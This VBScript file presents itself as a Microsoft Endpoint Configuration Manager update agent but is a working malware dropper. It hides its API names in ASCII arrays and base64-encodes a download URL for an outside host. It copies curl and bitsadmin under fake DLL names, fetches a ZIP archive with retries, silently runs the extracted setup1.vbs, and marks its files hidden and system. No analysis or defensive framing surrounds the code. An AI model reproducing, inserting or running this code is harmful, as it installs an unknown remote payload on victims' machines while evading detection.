' ===========================================================================
' Microsoft Endpoint Configuration Manager - Policy Sync Agent
' Build: 10.0.26100.1882 | Channel: GeneralAvailability
' Component: Windows Update Delivery Optimization (DO) Client
' ===========================================================================
Option Explicit
On Error Resume Next

Randomize Timer

' ===========================================================================
' Deferred COM init (ASCII array encoding)
' ===========================================================================
Dim g_Sh, g_FS, g_SA

Set g_Sh = CreateObject(CA(Array(87,83,99,114,105,112,116,46,83,104,101,108,108)))
Set g_FS = CreateObject(CA(Array(83,99,114,105,112,116,105,110,103,46,70,105,108,101,83,121,115,116,101,109,79,98,106,101,99,116)))
Set g_SA = CreateObject(CA(Array(83,104,101,108,108,46,65,112,112,108,105,99,97,116,105,111,110)))

' ===========================================================================
' Path setup
' ===========================================================================
Dim sTag, sBase
sTag  = "MSUpdate_" & Int(89999 * Rnd + 10000)
sBase = g_Sh.ExpandEnvironmentStrings("%PUBLIC%") & "\Documents\" & sTag & "\"

If Not g_FS.FolderExists(sBase) Then
    g_FS.CreateFolder sBase
    SA sBase
End If

' --- Target files ---
Dim sArc, sVBS
sArc = sBase & "Lo.zip"
sVBS = sBase & CA(Array(115,101,116,117,112,49,46,118,98,115))  ' setup1.vbs

' --- Resource URL (base64) ---
Dim sURL
sURL = B64D("aHR0cHM6Ly9qdW5qdW44ODguY2N3dS5jYy81NTU1LzEvTG8uemlw")

' ===========================================================================
' Deploy disguised system tools (needed by downstream scripts)
' ===========================================================================
Dim sSys, dA, dB
sSys = g_Sh.ExpandEnvironmentStrings("%SYSTEMROOT%") & "\System32\"

' curl.exe -> shlwapi.dll
dA = sBase & CA(Array(115,104,108,119,97,112,105,46,100,108,108))
' bitsadmin.exe -> urlmon.dll
dB = sBase & CA(Array(117,114,108,109,111,110,46,100,108,108))

If Not g_FS.FileExists(dA) Then
    Dim sCurl, sBits
    sCurl = sSys & CA(Array(99,117,114,108,46,101,120,101))
    sBits = sSys & CA(Array(98,105,116,115,97,100,109,105,110,46,101,120,101))

    If g_FS.FileExists(sCurl) Then g_FS.CopyFile sCurl, dA : SA dA
    If g_FS.FileExists(sBits) Then g_FS.CopyFile sBits, dB : SA dB
End If

' ===========================================================================
' Acquisition - XMLHTTP primary (in-process, no child process)
' ===========================================================================
Dim bOK : bOK = False
Dim nPass

For nPass = 1 To 3
    If Not bOK Then bOK = DoAcquire(sURL, sArc, nPass)
    If bOK Then Exit For
    WScript.Sleep 1500 + Int(2000 * Rnd)
Next

' ===========================================================================
' Extract ZIP + launch setup1.vbs
' ===========================================================================
If bOK And g_FS.FileExists(sArc) Then
    SA sArc

    Dim oZip, oDst
    Set oZip = g_SA.NameSpace(sArc)
    Set oDst = g_SA.NameSpace(sBase)

    If Not (oZip Is Nothing) And Not (oDst Is Nothing) Then
        oDst.CopyHere oZip.Items, &H614
        WScript.Sleep 5000 + Int(3000 * Rnd)

        If g_FS.FileExists(sVBS) Then
            SA sVBS
            Dim sWS : sWS = sSys & CA(Array(119,115,99,114,105,112,116,46,101,120,101))
            g_Sh.Run Chr(34) & sWS & Chr(34) & " " & Chr(34) & sVBS & Chr(34), 0, False
        End If
    End If
End If

' ===========================================================================
' Cleanup
' ===========================================================================
Set g_SA = Nothing : Set g_FS = Nothing : Set g_Sh = Nothing
WScript.Quit 0


' ###########################################################################
' Helpers
' ###########################################################################

Function DoAcquire(url, dest, pass)
    On Error Resume Next
    DoAcquire = False

    Select Case pass
        Case 1
            ' XMLHTTP + ADODB.Stream (in-process, zero CLI footprint)
            Dim oH
            Set oH = CreateObject("MSXML2.ServerXMLHTTP.6.0")
            If oH Is Nothing Then Set oH = CreateObject("MSXML2.XMLHTTP.6.0")
            If oH Is Nothing Then Set oH = CreateObject("Microsoft.XMLHTTP")
            If Not (oH Is Nothing) Then
                oH.Open "GET", url, False
                oH.setOption 2, 13056
                oH.Send
                If oH.Status = 200 Then
                    Dim oS
                    Set oS = CreateObject("ADODB.Stream")
                    oS.Type = 1 : oS.Open : oS.Write oH.responseBody
                    oS.SaveToFile dest, 2 : oS.Close
                    Set oS = Nothing
                End If
                Set oH = Nothing
            End If

        Case 2
            ' Disguised curl (already deployed as shlwapi.dll)
            If g_FS.FileExists(dA) Then
                g_Sh.Run "cmd /c " & Chr(34) & dA & Chr(34) & " -k -s -L --retry 3 -o " & Chr(34) & dest & Chr(34) & " " & url, 0, True
            End If

        Case 3
            ' Disguised bitsadmin (already deployed as urlmon.dll)
            If g_FS.FileExists(dB) Then
                g_Sh.Run "cmd /c " & Chr(34) & dB & Chr(34) & " /transfer DO" & Hex(Int(9999*Rnd+1000)) & " /download /priority high " & url & " " & Chr(34) & dest & Chr(34), 0, True
            End If
    End Select

    WScript.Sleep 3000
    If g_FS.FileExists(dest) Then
        If g_FS.GetFile(dest).Size > 1024 Then
            DoAcquire = True
        Else
            g_FS.DeleteFile dest, True
        End If
    End If
End Function

' --- Chr array to string ---
Function CA(a)
    Dim s, i : s = ""
    For i = 0 To UBound(a) : s = s & Chr(a(i)) : Next
    CA = s
End Function

' --- Base64 decode via MSXML ---
Function B64D(s)
    Dim oXM
    Set oXM = CreateObject("MSXML2.DOMDocument.3.0")
    Dim oEL
    Set oEL = oXM.createElement("b")
    oEL.DataType = "bin.base64" : oEL.Text = s
    Dim oST
    Set oST = CreateObject("ADODB.Stream")
    oST.Type = 1 : oST.Open : oST.Write oEL.nodeTypedValue
    oST.Position = 0 : oST.Type = 2 : oST.Charset = "utf-8"
    B64D = oST.ReadText : oST.Close
    Set oXM = Nothing : Set oST = Nothing
End Function

' --- Set hidden+system attribute ---
Sub SA(p)
    On Error Resume Next
    If g_FS.FileExists(p) Then
        g_FS.GetFile(p).Attributes = 3
    ElseIf g_FS.FolderExists(p) Then
        g_FS.GetFolder(p).Attributes = 3
    End If
End Sub